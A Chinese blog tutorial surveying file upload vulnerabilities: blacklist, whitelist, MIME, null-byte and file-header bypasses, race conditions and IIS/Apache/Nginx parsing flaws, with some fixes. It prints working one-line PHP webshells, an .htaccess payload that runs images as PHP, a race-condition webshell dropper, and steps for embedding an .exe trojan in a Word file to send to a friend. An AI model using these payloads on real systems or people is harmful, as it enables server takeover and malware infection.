文件上传漏洞简单总结+白名单+黑名单+内容、头+解析漏洞/修补方案

  • 问题
    • 什么是文件上传漏洞?
      • 危害?
      • 防御措施?
      • 文件上传(验证/绕过)措施?
        • 前端
          • js类绕过?
        • 后端
          • 黑名单绕过
            • 特殊解析后缀
            • .htaccess解析
            • 大小写绕过
            • 点绕过
            • 空格绕过
            • ::$DATA绕过
            • 配合解析漏洞(*待补充)
            • 双后缀名绕过
          • 白名单绕过
            • MIME绕过
            • %00截断
            • 0x00截断
            • 0x0a截断
          • 内容及其他绕过?
            • 文件头检测
            • 二次渲染
            • 条件竞争
            • 突破getimagesize
            • 突破exif_imagetype
      • 漏洞/修补
        • *解析漏洞
          • IIS 6.0/7.X
            • IIS6.0目录解析
            • IIS6.0文件解析
            • IIS6.0默认解析
            • IIS7.0/7.5 PHP FastCGI解析
          • Apache
            • Apache后缀名解析
          • Nginx
            • Nginx PHP CGI解析

问题

之前在学习文件上传漏洞时,只是粗略的了解了一下并没有详细深入去思考问题,这篇博客是自己最近对文件上传漏洞的简单总结和整理,方便自己以后查看,因为文笔较差、技术比较菜,内容引用了多位大佬的文章,外加时间跨度有点长,部分内容有可能没有将大佬原文博客附加,所有希望大佬多多包涵告知,好及时添加;如果内容有错误的地方,还请麻烦指出,万分感谢!

什么是文件上传漏洞?

如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

所以一般需注意:

在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击

危害?

  • 上传网站后门文件(获取webshell)

防御措施?

  1. 上传文件的存储位置与服务器分离;
  2. 上传的文件重新修改文件名文件后缀名;(如何确定后缀名防止修改:前端传递,后端再校验)
  3. 文件上传的上传保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载;

文件上传(验证/绕过)措施?

前端

js类绕过?
  1. 页面直接修改js上传文件方法(添加类型等)
  2. 抓包改包,将上传的文件后缀进行修改;(例如:a.jsp.jpg ——抓包修改为——a.jsp)
  3. 复制页面,重新构建新页面,获取方法,并修改;

后端

黑名单绕过

Web系统可能会采用黑名单的方式进行过滤。而过滤的方式存在一定的缺陷,比如存在过滤的黑名单不全未考虑大小写,以及要上传文件的名称存在敏感字符

基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

使用黑名单过滤方式,肯定会存在缺陷;【对上传文件名称进行敏感字符清除。】

特殊解析后缀

很多语言都存在,有多个可以解析后缀。当目标站点采用黑名单时,往往包含不全面;

例如:

语言 默认(服务器)可解析后缀 盲猜绕过可解析后缀
asp.net 【IIS】 asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php .php .html .htm【apache】 php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp *.jsp,*.jspx【tomcat】 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

Tomcat添加可解析后缀名:

  • 路径: apache-tomcat-x.x.x\conf\web.xml

  • 文件: web.xml

  • 修改位置: <url-pattern>*.*</url-pattern>

  •     <servlet-mapping><servlet-name>jsp</servlet-name><url-pattern>*.jsp</url-pattern><url-pattern>*.jspx</url-pattern></servlet-mapping>
    

Apache添加可解析后缀名:

  • 路径:Apache24\conf\httpd.conf

  • 文件:httpd.conf

  • 修改位置:AddType application/x-httpd-php .php .html .htm

  • AddType application/x-httpd-php .php .html .htm
    

.htaccess解析

什么是.htaccess?

前提条件:Apache开启.htaccess文件功能

开启方式:

  • 路径:Apache24\conf\httpd.conf

  • 文件:httpd.conf

  • 位置1如下代码↓

  • <Directory "${SRVROOT}/htdocs"> Options Indexes FollowSymLinksAllowOverride None (将None改为ALL)Require all granted
    </Directory>
    
  • 位置2: 去掉注释

  • #LoadModule rewrite_module modules/mod_rewrite.so
    

实际操作:

  1. web站点架构为:php+apache , 保证文件上传到本地 , apache开启对.htaccess支持;

  2. 黑名单没有过滤.htaccess;

  3. 编辑.htaccess文件,写入

    //1.这将把目录下的shell.jpg的文件当做可执行的php脚本进行解析并执行。[优先]
    <FilesMatch "shell.jpg">SetHandler application/x-httpd-php
    </FilesMatch>//2.上传后缀为.aaa的文件,让其做为php类型文件进行解析
    AddType application/x-httpd-php .aaa
    
  4. 上传一句话木马并以.jpg结尾, 写入 <?php @eval($_POST['pass']);?>

  5. 菜刀或蚁剑连接,完成!

参考:

  • 参考连接-文章

大小写绕过

背景原因:

后缀名黑名单过滤不全面导致!

虽然设置了黑名单对常见的后缀进行过滤,但并未对后缀名大小写进行统一。可以利用大小写进行绕过。例如:.phP

示例:

  1. 代码只对后缀名为.php的文件进行了拦截,并未对.pHp后缀名的文件拦截
  2. 上传后缀名为.pHp的文件

点绕过

背景原因:(windows特性)

  • Windows 系统下,文件后缀名最后一个点会被自动去除

  • Linux 系统下,文件后缀名最后一个点不会被自动去除

利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名加 . 绕过上传。

使用条件:

  • 只能在Windows系统下方能生效;

利用示例:

  1. demo.php.【demo(点)php(点)

空格绕过

背景原因:(windows特性)

  • Windows系统下,对于文件名中空格【demo.php(空格)】会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。
  • 解释: 文件上传功能过滤不完善,没有考虑到空格的情况,将文件【demo.php(空格)】认为是以(空格)结尾的特殊文件,允许上传,当文件成功上传到windows系统下时,因为Windows系统特性会被作为空处理,也就是删除文件最后的空格,结果为【demo.php】

利用示例:

  • 通过BurpSuite截断 HTTP 请求之后,在对应的文件后缀名处添加空格。
  • 点绕过和空格绕过结合示例如下:↓
例如:a.php[空格](点)[空格]a.php . a.php(点)[空格](点)
Windows下:a.php

a.php(点)+空格+(点)

deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为1.php.
利用Windows自动去除最后一个点,导致成功上传1.php;


::$DATA绕过

背景原因:(windows特性)

  • 在window系统下,如果上传的文件名为a.php::$DATA,它会在服务器上生成一个a.php的文件,其中内容和所上传内容相同,并被解析。

  • 例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

利用示例:

  • 通过BurpSuite截断 HTTP 请求之后,在对应的文件后缀名处添加::$DATA

  • a.php::$DATA
    

特别说明:

在windows下,无法直接测试::$DATA,因为windows不允许后缀名中存在特殊字符;


配合解析漏洞(*待补充)

双后缀名绕过

背景原因:

  • 文件上传过滤代码,会将文件名称进行敏感字符清除

  • 文件上传过滤代码,后缀名黑名单过滤不全面导致!

  • 例如:如果上传的代码后缀名为.php,那么就将后缀名舍弃;如:a.php——>a

利用示例:

  • 对要上传的文件添加重复后缀名,如:a.php——>a.pphphp
  • 过滤掉php后,会重新拼接为新的php

防御措施:

  • 使用递归循环过滤,不使用一次过滤

白名单绕过

基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。

MIME绕过

MIME绕过,又叫HTTP请求头中的Content-Type属性绕过;【Response 、Request Headers都存在

可能很多人不知道什么是MIME?不过没关系,那你一定听说过文件内容类型或者说通过抓包你一定听说过 Content-Type: text/html 这种类似的,其实,这就是MIME。下面再给大家简单说说吧!

MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。

多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。

什么是Content-Type

要知道什么是Content-Type,首先要了解什么是Internet Media Type。Internet Media Type即互联网媒体类型,也叫做MIME类型,使用两部分标识符来确定一个类型。在HTTP协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息,意思就是说,Content-Type是Internet Media Type在HTTP协议中的别称。

Content-Type的格式

type/subtype(;parameter)? type

上面是Content-Type的格式,可以拆解为三个部分,分别是主类型(type)、子类型(subtype)和参数(parameter)

主类型(type)

主类型可以是任意的字符串,比如text。如果是*号则代表所有类型。

/子类型(subtype)

子类型可以是任意的字符串,比如html。如果是*号则代表所有类型。

;参数(parameter)

参数是可选的,可以在Content-Type中加入一些特殊的参数,比如Accept请求头的参数,常见的有用于设置字符编码的charset参数。

Content-Type: */*;q=0.8,   text/html;charset:utf-8;

Content-Type中常见的媒体格式类型:

以text开头的媒体格式类型:

  • text/html: HTML格式。

  • text/plain:纯文本格式。

  • text/xml: XML格式。

以image开头的媒体格式类型:

  • image/gif:gif图片格式。

  • image/jpeg:jpg图片格式。

  • image/png:png图片格式。

以application开头的媒体格式类型:

  • application/xhtml+xml:XHTML格式。

  • application/xml: XML数据格式。

  • application/atom+xml:Atom XML聚合格式 。

  • application/json: JSON数据格式。

  • application/pdf:pdf格式 。

  • application/msword: Word文档格式。

  • application/octet-stream: 二进制流数据(如常见的文件下载)。

  • application/x-www-form-urlencoded: 中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)。

另外还有一种常见的媒体格式是上传文件之时使用的:

  • multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式。

以上就是我们在日常的开发中,经常会用到的若干Content-Type的内容格式。

MIME拦截代码样例:

@Controller
@RequestMapping(value = "/users", method = RequestMethod.POST, consumes="image/*")
@ResponseBody
public List<User> addUser(@RequestBody User userl) {   return List<User> users;
}
//consumes:指定处理请求的提交内容类型(Content-Type),例如application/json、text/html;等。如果不是指定的类型不响应;
//上面这个方法【仅处理】请求Content-Type为【image/*】类型的请求。

MIME利用示例:

  • 通过抓包的形式,修改Content-Type类型,将类型指定为:image/*
  • Content-Type类型位于HTTP Request 中,要以网站为中心,request表示获取数据,response表示返回数据

参考链接:

  • http请求头中的content-type属性
  • HTTP报文头Accept和Content-Type总结

%00截断

​ %00跟随url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是**%00解码后的内容,即解码成了0x00**。总之就是**%00被服务器解码为0x00发挥了截断作用**。

00截断的核心:

当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

00截断原理:

  • 其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)
  • chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
  • 那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
  • 那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。
    • 如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?
    • 通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。- php版本要小于5.3.4;    5.3.4及以上已经修复该问题
- magic_quotes_gpc需要为OFF状态

下面是用 URL 编码形式表示的 ASCII 字符:

URL-encode ASCII VALUE
%00 0

重点:在url中%00表示ASCII码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束*,所以**当url中出现%00时就会认为读取已结束。

例如:

URL 输出内容
https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是:test.txt
加上**%00**后——>>
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是:test.php

就绕过了后缀限制,可以上传webshell啦。

利用示例:

一、前端使用%00截断

打开BurpSuite抓包工具,找到上传文件后缀名位置

  • **%00截断百分之百绕过前端校验;**例如:a.php%00.jpg

      1. 在上传文件后缀名处,直接用 %00 就可以了。示例:a.php%00.jpg

      2. 某些情况下,直接在文件名中加 %00 进行截断不生效无法起到相应的作用,因为 %00 会以字符串的形式解析了。(不认为是空(NULL)字符,认为只是普通拼接的字符串);

      3. 解决方法如下:

        1. 我们需要对 %00 做一个URL解码,也就是URL-decode;(在BurpSuite内选中%00右键convent selection——>URL——>URL-decode
        2. 通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断
    • 为什么两者用法不同?

      这是因为 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断

  • 如果是存在后端校验%00截断只能绕过前端校验,达不到预想结果;

二、后端使用%00路径截断(后端校验一般为后缀名,考虑%00截断文件路径

知道了基本原理之后,我们还要分析它怎么起作用,如果按照上述的做法来做,则00绕过只能绕过前端验证,因为如果是后端验证,那么即使后缀被截断了,处理之后为.php,还是会被后端验证拦截,所以不是什么情况下00截断都有用的,不过这里至少可以确定,在绕过前端验证可以用。在文件名中插入空字符进行00截断,只适合前端绕过,后端绕过无效。

  • 如果在Burp中直接改filename,根本无法起作用,因为截断的只是后缀名,只能绕过简单的前端验证,如果遇到后端校验,在提取上传文件后缀的时候后缀还是.php,肯定会被拦,也就是说这里00截断没有发挥任何“绕过”后端验证的作用。
    这里想绕过,必须要知道文件上传的条件:

    • 1.后缀检测,合格则进行上传路径拼接
      2.拼接路径和文件名,组成文件上传路径
  • 这里决定文件上传后被保存在文件夹中的真实后缀名的是文件上传路径,因为上面一大堆代码只不过是对后缀名进行各种处理和验证,这里相当于一个过安检的过程,最后决定文件到底是什么名字,什么后缀名,要看**“文件上传路径”**;
  • 文件路径是上传路径和文件名拼接的,也就是说也许上面的后缀被处理了半天能通过安检了,但是最后上传后的文件后缀不一定是这个被处理了半天的“后缀”;(如果上传文件的路径也是通过前端传递到后端进行拼接的,那么我们在路径中添加后缀并截断舍弃拼接后缀名部分,就可以绕过后端校验;例如:filePath:/api/upload/file/a.php%00;fileName: a.jpg)
  • 也就是说想使用00截断绕过后端验证,除非两个条件之一:
    • 1.路径拼接像上图的代码一样,直接使用的 $file_name这个文件名,而不是 $file_ext和其他什么东西来拼成一个文件名字,这时文件名中还是包含截断字符的,路径拼好之后可以被截断成想要的.php。
    • 2.文件路径可控,比如我可以修改路径拼接的path时,比如抓到的包中存在path: uploads/,就可以直接把路径构造成uploads/xxx.php%00,先构造一个存在截断字符的后缀“等着”真正的文件名,或者后缀名,因为不管它是啥,都会被截断而丢弃,因为这里已经到了“最后阶段”,不会再有安检过程了,这里截断之后的结果就是最终上传的结果;
    • 抓到的包里发现了路径,那么使用上面的方法直接改它,就可以成功上传aa.php文件,不管被处理后的文件名是什么,在这里被截断才是真正的“截断”,因为这是在安检(后缀名校验)之后进行的截断,直接决定真实的文件后缀名。

参考连接:

  • 文件上传绕过之00截断

【%00和0x00】区别:
它们最终的结果都是一样的,都代表着chr(0),即空字符,只不过使用的位置不同,0x00代表16进制的空字符00需要在HEX中改为00,进行截断,而**%00是URL解码之前的字符**,它被解码成16进制ASCII码之后实际上也是0x00,所以它们最终都对应的是空字符,这里%00可以用在URL中如xx.php?filename=test.php%00.txt,也可以直接插在Burp包中的路径中,如path=shell.jsp%00.txt


0x00截断

0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。

​ 0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。

总之就是利用ASCII码为0这个特殊字符,让系统认为字符串已经结束。


0x0a截断

0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置。

内容及其他绕过?
文件头检测

文件头检查是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传。

常见文件头:

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
XML (xml),文件头:3C3F786D6C
ZIP Archive (zip),文件头:504B0304

文件头代码拦截示例:

    1. 文件上传接口,读取文件,并将文件转为输入流;
    2. 截取文件流的前四个字节,并将其转成16进制,并转为大写
    3. 比较截取的字符与常见的文件类型头部字符进行比对,返回文件的类型
    4. 正常通过,存在异常则报错;

文件头利用示例:

  • 方法一:

      1. 先将一句话木马写入txt文件改文件后缀为png格式;
      2. 用winhex打开,找到你所改成图片的文件头(例如我想改成的是png格式,也可以jpg等,png图片的格式头是89504E47),只要将其放在文件头部(也就是放在一句话的前面),保存即可
      3. 上传,用bp抓包,然后修改文件后缀为.php格式,放包即可,用蚁剑连接即可。
  • 方法二:

      1. 准备一个要上传的图片;一个一句话木马.php

      2. 执行命令:

        ## CSDN.png 为要上传的图片【必须加/b】;
        ## 1.php 为一句话木马【必须加/a】;
        ## phpinfo 为重新定义的文件名;
        copy CSDN.png/b+1.php/a phpinfo.png
        
      3. 上传图片!

  • 方法三:

      1. BurpSuite抓包上传文件时,部分上传功能代码会展示文件流输出
      2. 直接在文件流的最前方,添加文件头(png格式文件头,jpg格式文件头)

doc、pdf、excel文件头木马写入:

    1. 准备word文档.doc + .exe木马文件

    2. 执行命令

      copy CSDN.doc/b + 1.exe/a phpinfo.doc
      
    3. 发送给朋友;

参考链接引用:

  • 【知识点】文件头部校验spring boot案例

  • 图片写入一句话木马

  • 编写WORD木马


二次渲染

出现的原因:

  1. 处于安全方面的考虑,不信任用户输入、上传的任何数据、图片;
  2. 因此,对于用户上传的图片等信息,都需要开发人员对图片文件重新生成!;
  3. 这就是防止图片中参杂恶意代码的防御措施;(即,对图片文件流,只保留可以生成图片的最基本部分,其他地方舍弃!

二次渲染意义:

  • 二次渲染过滤掉图片中掺杂的恶意代码

二次渲染利用方式:

  • 结合文件包含漏洞利用

二次渲染绕过方式:

  • .gif绕过

      1. 将包含恶意代码的图片phpinfo.gif,上传到服务器;
      2. 服务器上传图片功能代码,对图片进行过滤,只保存最基本的部分,并返回到前端页面展示;
      3. 下载上传后的图片,并用winhex.exe打开,发现图片末尾处的一句话木马消失;
      4. 使用winhex对比功能,找到原图片与上传后图片的相同之处,并在该位置插入恶意代码;
      5. 实际操作:winhex——》工具——》比较——》搜索相同;展示区,蓝色部分是没有发生变化的,
      6. 在图片相同处,蓝色部分位置中间插入恶意代码,并上传,成功绕过;
  • .jpg绕过

    • php jpg_payload.php 2man.jpg
      
  • .png绕过

    • php png_payload.php TJXB.png
      
    • 运行脚本即可生成,这里的一句话木马是:

      <?$_GET[0]($_POST[1]);?>
      

      使用方式是get传参0=。。。
      加上post传参1=。。。

参考引用:

Upload-Labs第Pass-16通关(二次渲染绕过) 详解


条件竞争

概念:

发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中

产生原理:

先将文件上传到服务器中再判断文件后缀是否在白名单里面。如果在则重命名,否则删除。

利用思路:

  • 方式一:上传a.php木马文件,以极快的时候进行访问,执行文件流重新写入一个新的木马文件b.php

    • <?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?>
      
    • 只要访问了a.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<?php @eval($_POST["x"]);?>

    • 文件上传-条件竞争

  • 方式二:上传多个a.php木马文件,赶在应用程序删除它之前,我们进行访问;

    • 文件上传-条件竞争
突破getimagesize

函数原理:

  • getimagesize 这个函数,对于图片处理上面不仅效率低,而且还存在风险

  • getimagesize 是通过获取图片数据流中头部几个字节来判断(图片类型)的(文件头绕过)

  • 这样就为web_shell注入 提供了机会,木马程序只需要在头部插入相关图片类型几个字节,就可以绕过 getimagesize 的检测。

利用方式:

  • 同文件头检测;
突破exif_imagetype

函数原理:

exif_imagetype(string $filename): int

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像

利用方式:

  • 同文件头检测;

漏洞/修补

*解析漏洞

IIS 6.0/7.X
IIS6.0目录解析

/xx.asp/xx.jpg

产生原因:

在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行

  • 例如创建目录 wooyun.asp,那么**/wooyun.asp/1.jpg**将被当作asp文件来执行。
  • 假设可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
IIS6.0文件解析

wooyun.asp;.jpg

产生原因:

在IIS6.0下,分号后面的不被解析,也就是说wooyun.asp;.jpg,会被服务器看成是wooyun.asp

IIS6.0默认解析

IIS6.0 默认的可执行文件除了asp后缀名外,还包含这三种

  • /wooyun.asa
  • /wooyun.cer
  • /wooyun.cdx

链接引用:

1)IIS6.0漏洞利用-PUT-move

IIS6.0漏洞利用-PUT-move链接引用介绍:

put方法允许用户上传文件到指定的路径下如果在iis中,目录支持写权限,同时开启了WebDav,则会支持PUT方法再结合MOVE方法改名,就能将原本只允许上传文本文件改写为脚本文件,从而执行webshell,move能否执行成功,取决于iis服务器是否勾选了“脚本资源访问”复选框再实施攻击过程前,可以通过OPTIONS方法探测服务器支持的http方法类型


IIS7.0/7.5 PHP FastCGI解析

漏洞又名:PHP CGI解析漏洞

首先IIS,Nginx,并不能直接编译运行PHP,需要配合其他后端解释器(例如:PHP CGI)等

知识准备:CGI链接引用:

  • CGI和FastCGI
  • FastCGI

知识准备:如何让IIS7支持PHP?

  • 下载PHP文件包,配置**(IIS)角色服务**CGI

  • 为WEB服务器(IIS)安装角色服务,勾选CGI

IIS7.0/7.5 PHP FastCGI解析,漏洞介绍:

从IIS7.0开始内置FastCGI,在FastCGI模式下IIS7.0/7.5解析PHP文件时,默认开启了cgi.fix_pathinfo(默认为cgi.fix_pathinfo=1),如果设置了为1时,在urlhttp://127.0.0.1/1.png/a.php中,找不到文件a.php,FastCGI解释器会递归向前解析,当存在1.png时,会把它当做PHP文件解析!(即PHP CGI漏洞)

漏洞影响 IIS7 及IIS7.5 在使Fast-CGI方式调用php时,在php.ini里设置

cgi.fix_pathinfo=1

使得访问任意文件的URL时,在URL后面添加“/x.php”等字符时,该文件被IIS当php文件代码解析。

http://127.0.0.1/1.png的内容如下:当访问 http://127.0.0.1/1.png/a.php可以看到1.png里的php代码被IIS解析执行了。

示例解析:

http://127.0.0.1/1.gif/a.php 如果wenxin.php不存在,php会递归向前解析,如果tony.png存在,把它当做PHP文件解析!

产生原因:

  • Fast-CGI(fast-cgi)模式下,并且在php.ini配置文件中,cgi.fix_pathinfo的值为1;
  • 对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生;

解决方案:

  • 第1种方案:继续使用FastCGI方式调用PHP,要解决这个安全问题可以在php.ini里设置 cgi.fix_pathinfo=0 ,修改保存后建议重启iis(注意可能影响到某些应用程序功能)。

  • 第2种方案:使用ISAPI的方式调用PHP。(注意:PHP5.3.10已经摒弃了 ISAPI 方式)

  • 第3种方案:可以使用其他web服务器软件,如apache等。

链接引用:

  • 什么是FastCGI?详解
  • ngnix FastCGI解析漏洞
  • IIS 7.5 解析错误 命令执行漏洞解决方案
  • IIS7.5解析漏洞复现

Apache
Apache后缀名解析

漏洞(特性)介绍:

apache对文件后缀名的识别是从后向前(从右向左)进行匹配的,以单个.作为分隔符当遇到未知的文件后缀名时,会继续向前匹配,直到遇到可以识别的后缀名为止

示例解析:

http://192.168.138.11/abc.php.xa.cd.gf

当访问 http://192.168.138.11/abc.php.xa.cd.gf时,可以看到php代码被Apache解析执行了。

示例如下:

  • 根目录下有一个abc.php.xa.cd.gf文件,当通过浏览器请求这个文件时,因为第一个后缀名.gf是无法识别的,apache会继续处理**.cd,同样无法识别**,直到最后识别出**.php**,那么最后这个文件将被作为php文件解析并执行。
  • apache的这个特性,可以被用来绕过一些上传文件的检测。如果一个文件上传的页面,通过黑名单的方式禁止上传php文件,那么我们就可以将文件名修改为test.php.abcd的方式进行上传。最后请求test.php.abcd时,和请求test.php的效果是一样的,这样就成功绕过了文件后缀名的检测上传了一个php文件。
  • apache的这个属性,定义可以识别的后缀名,可以通过修改conf/mime.types文件来实现。

防御措施:

  • 在apache/config/httpd.conf中最后一行添加 FilesMatch,修改如下:
<FilesMatch ".(php.|qwer.)">Order Deny,AllowDeny from all
</FilesMatch>
  • php还可以以FAST-CGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。

链接引用:

  • apache httpd 解析漏洞

  • 利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

  • Apache文件解析漏洞-DVWA靶场演示

  • apache解析漏洞_解析漏洞(Web漏洞及防御)

  • ☆ Apache文件解析漏洞-某大佬错误示范-怀疑与他环境有关-问题很大-但是感觉说的很有道理

    • 这篇文章,非常详细且受用,细致讲解了apache和php的工作关系,可能以为大佬的环境问题,导致结果是错误的;
    • 本人复现问题时发现,小皮面板windows版本和linux版本默认情况下是不允许多后缀名解析的。
    • 原生搭建windows/linux+apache+php,可以触发Apache后缀名解析;
    • 因此怀疑大佬环境问题导致出错,或者一开始就被禁用掉了多后缀名解析;

问题验证:

  • **问题1:**Apache解析【a.php.xxx】文件是否可以正常通过?

    • 只要是原生环境,并且并没有禁用掉多后缀名解析,apache都可以正常通过。

    • Apache看到文件aaa.php.xxx,按照多后缀名的解析规则,认为该文件是php程序文件,把该文件作为php程序文件处理。怎么处理呢?交给php解释器(在apache24/conf/httpd.conf内引入php模块),Apache本身并不懂php。

    • php以模块(module)的模式,工作于Apache的领导下。这种模式下php接受到领导Apache分配的任务

    • 如何在apache内配置php模块(apache24/conf/httpd.conf)的可后缀解析呢?

    • 两种方式:方式一:
      <FilesMatch ".+\.ph(p[345]?|t|tml)$">SetHandler application/x-httpd-php
      </FilesMatch>方式二:
      AddType application/x-httpd-php .php .html .htm
      
  • 问题2: 如果让Apache正常解析【a.php.qwer】文件,通过并执行?需要配置那些东西?

      1. 方式一:

        1. Apache多后缀名的解析规则特性,本身就可以正常解析【a.php.qwer】文件,不需要修改任何东西;
      2. 方式二:

        1. 开启.htaccess文件(参考黑名单绕过,.htaccess解析)
        2. 上传.htaccess文件,添加可解析后缀.qwer
        3. 添加可解析后缀名.qwer
  • **问题3:**如果修改apache配置文件,配置可解析后缀名,能否让apache正常解析执行【a.php.qwer】?如何配置?

    • 根据apache多解析后缀名特性,从右向左依次解析识别,在windows下a.php.qwer,会被Apache自动解析为可执行的php文件,不需要额外配置;
    • 配置步骤为:首先可以在apache24/conf/httpd.conf下添加AddType application/x-httpd-php .qwer,直接配置可解析后缀名.qwer,或者开启.htaccess文件(开启步骤,往上),在.htaccess文件中配置可解析后缀名,.htaccess中配置的可解析后缀名只在本文件目录含子目录下有效;

Nginx
Nginx PHP CGI解析

漏洞又名:PHP CGI解析漏洞

漏洞介绍:

该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞;

产生原因:

Nginx配置PHP解析器FastCGI,在php.ini中开启了cgi.fix_pathinfo并将其设置为1,在php-fpm中将配置文件中的security.limit_extensions(配置项限制了fastcgi解析文件的类型,即仅解析指定类型的文件)选择置为空,触发该漏洞;

Linux环境下,centos7 + nginx + php-fpm

  • nginx启动FastCgi来编译解析php文件;
  • 在php配置文件php.ini中,将cgi.fix_pathinfo=1设置为1;
  • 修改php-fpm子配置文件(主配置文件位置:/etc/php-fpm.conf,子配置文件目录位置:/etc/php-fpm.d/)/etc/php-fpm.d/www.conf,将security.limit_extensions= .php .php3 .php4 .php5 .php7修改为空;即security.limit_extensions = ;
    • 限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:.php .php3 .php4 .php5 .php7

示例解析:

http://192.168.138.11/c.png/.php

当访问 http://192.168.138.11/c.png/.php时,可以看到c.png里的php代码被nginx解析执行了。

Nginx解析漏洞解决方案:

方案一:

  • php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面;

  • php-fpm.conf中的security.limit_extensions后面的值设置为.php;

方案二: (不推荐)

在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ \..*\/.*php ) {return 403;
}

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。修改完成后请重启Nginx。

链接引用:

  • Nginx中的解析漏洞
  • nginx解析漏洞复现
  • ngnix FastCGI解析漏洞,含修复方案
  • FastCGI原理
  • Nginx服务漏洞详解

文件上传漏洞总结(含原因+防御措施)+白名单+黑名单+内容、头+解析漏洞/修补方案相关推荐

  1. 文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞

    文章目录 文件上传漏洞 漏洞概述 漏洞成因 漏洞危害 WebShell 大马 小马 GetShell 漏洞利用的条件 PUT方法上传文件 漏洞的防御.绕过和利用 黑白名单策略 安装upload-lab ...

  2. 上传图片被防火墙拦截_Web安全:文件上传漏洞

    文章来源:计算机与网络安全 一般将文件上传归类为直接文件上传与间接文件上传.直接文件上传就是服务器根本没有做任何安全过滤,导致攻击者可以直接上传小马文件及大马文件(如ASP.ASPX.PHP.JSP及 ...

  3. java web 上传图片漏洞_Web安全:文件上传漏洞

    原标题:Web安全:文件上传漏洞 一般将文件上传归类为直接文件上传与间接文件上传.直接文件上传就是服务器根本没有做任何安全过滤,导致攻击者可以直接上传小马文件及大马文件(如ASP.ASPX.PHP.J ...

  4. 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

